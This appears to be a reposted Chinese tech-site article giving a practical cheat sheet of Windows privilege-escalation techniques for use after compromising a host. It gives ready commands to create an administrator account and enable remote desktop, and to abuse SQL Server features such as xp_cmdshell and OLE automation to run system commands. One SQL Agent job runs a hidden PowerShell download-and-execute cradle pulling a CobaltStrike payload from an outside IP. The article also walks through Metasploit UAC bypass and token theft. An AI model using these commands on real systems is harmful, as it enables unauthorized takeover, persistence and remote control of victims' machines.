|
|
|
|
公众号矩阵

Windows提权的几种常用姿势

Windows常用的提权方式有:内核提权、数据库提权、系统配置错误提权、组策略首选项提权、Bypass UAC提权、令牌窃取提权等姿势。

作者:Bypass 来源:Bypass |2021-01-13 08:14

本文转载自微信公众号「Bypass」,作者Bypass 。转载本文请联系Bypass公众号。

当获取主机权限时,我们总是希望可以将普通用户提升为管理员用户,以便获得高权限完全控制目标主机。Windows常用的提权方式有:内核提权、数据库提权、系统配置错误提权、组策略首选项提权、Bypass UAC提权、令牌窃取提权等姿势。

1. 内核溢出漏洞提权

由于目标系统没有及时安装补丁,攻击者可以利用Windows系统内核溢出漏洞进行提权,轻易获取system权限。

(1) 通过systeminfo比对KB编号,发现系统是否存在漏洞。

github项目地址:https://github.com/AonCyberLabs/Windows-Exploit-Suggester

(2) 找到对应漏洞的exp执行,获取system权限

github项目地址:https://github.com/SecWiki/windows-kernel-exploits

(3) 添加管理员

  1. net user 用户名 密码 /add 
  2. net localgroup Administrators 用户名 /add 

(4) 开启远程桌面

  1. # 开启远程 
  2. REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f 
  3. # 查询远程端口 
  4. REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber 

2. 数据库提权

(1) MySQL提权

利用mysql的几种提权方式,如udf提权、mof提权、启动项提权等。

  • udf提权:通过创建用户自定义函数,对mysql功能进行扩充,可以执行系统任意命令,将mysql账号root转化为系统system权限。
  • mof提权:在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof 这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将我们先要做的事通过代码存储到这个mof文件中,就可以实现权限提升。
  • 启动项提权:将后面脚本上传到系统启动目录,当服务器重启就会自动执行该脚本,从而获取系统权限。

(2) SQL Server 提权

利用SQL Sercer执行系统命令的方式也有多种,比如xp_cmdshell、SP_OACREATE、沙盒、Agent Job、CLR来提权。

使用xp_cmdshell进行提权:

  1. # 启用xp_cmdshell 
  2. EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE; 
  3. # 通过xp_cmdshell执行系统命令 
  4. Exec master.dbo.xp_cmdshell 'whoami' 

SP_OACREATE:

  1. # 开启组件 
  2. EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;    
  3. EXEC sp_configure 'show advanced options', 0; 
  4. # 执行系统命令(无回显) 
  5. declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami' 

通过沙盒执行命令:

  1. # 开启沙盒 
  2. exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 
  3. # 利用jet.oledb执行命令 
  4. select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")') 

通过Agent Job执行命令:

修改开启Ageent Job,执行无回显CobaltStrike生成powershell上线

  1. USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://192.168.214.129:80/a''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1'; 

3. 系统配置错误提权

(1) 权限配置错误

如果管理员权限配置错误,将导致低权限用户对高权限运行的文件拥有写入权限,那么低权限用户就可以替换成恶意后门文件,获取系统权限。一般在启动项、计划任务,服务里查找错误配置,尝试提权。

(2) 可信任服务路径漏洞

(3) 不安全的注册表权限配置

如果低权限用户对程序路径所对应的键值有写权限,那么就可以控制这个服务,运行后门程序,从而获取权限。

  1. # 存储Windows服务有关的信息 
  2. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services 
  3. # 服务对应的程序路径存储 
  4. HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\服务名\ImagePath 
  5. 3.4 AlwaysInstallElevated 

注册表键AlwaysInstallElevated是一个策略设置项。windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件。

4. 组策略首选项提权

SYSVOL是域内的共享文件夹,用来存放登录脚本、组策略脚本等信息。当域管理员通过组策略修改密码时,在脚本中引入用户密码,就可能导致安全问题。

(1) 访问SYSVOL共享文件夹,搜索包含“cpassword”的XML文件,获取AES加密的密码。

(2) 使用kali自带的gpp-decrypt进行破解

5. Bypass UAC提权

UAC(User Account Control,用户账号控制),是微软引入的一种安全机制。Bypass UAC提权,可以将管理员权限提升到system权限。

使用msf模块:

  1. msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac  
  2. meterpreter > getuid 
  3. meterpreter > getsystem 

6. 令牌窃取提权

通过窃取令牌获取管理员权限,在MSF中,可以使用incognito实现token窃取。

  1. meterpreter > use incognito           #进入incognito模块 
  2. meterpreter > list_tokens -u          #列出令牌 
  3. meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"   #模拟令牌 

【责任编辑:赵宁宁 TEL:(010)68476606】

点赞 0
分享:
大家都在看
猜你喜欢

订阅专栏+更多

数据湖与数据仓库的分析实践攻略

数据湖与数据仓库的分析实践攻略

助力现代化数据管理:数据湖与数据仓库的分析实践攻略
共3章 | 创世达人

3人订阅学习

云原生架构实践

云原生架构实践

新技术引领移动互联网进入急速赛道
共3章 | KaliArch

30人订阅学习

数据中心和VPDN网络建设案例

数据中心和VPDN网络建设案例

漫画+案例
共20章 | 捷哥CCIE

209人订阅学习

视频课程+更多

订阅51CTO邮刊

点击这里查看样刊

订阅51CTO邮刊

51CTO服务号

51CTO官微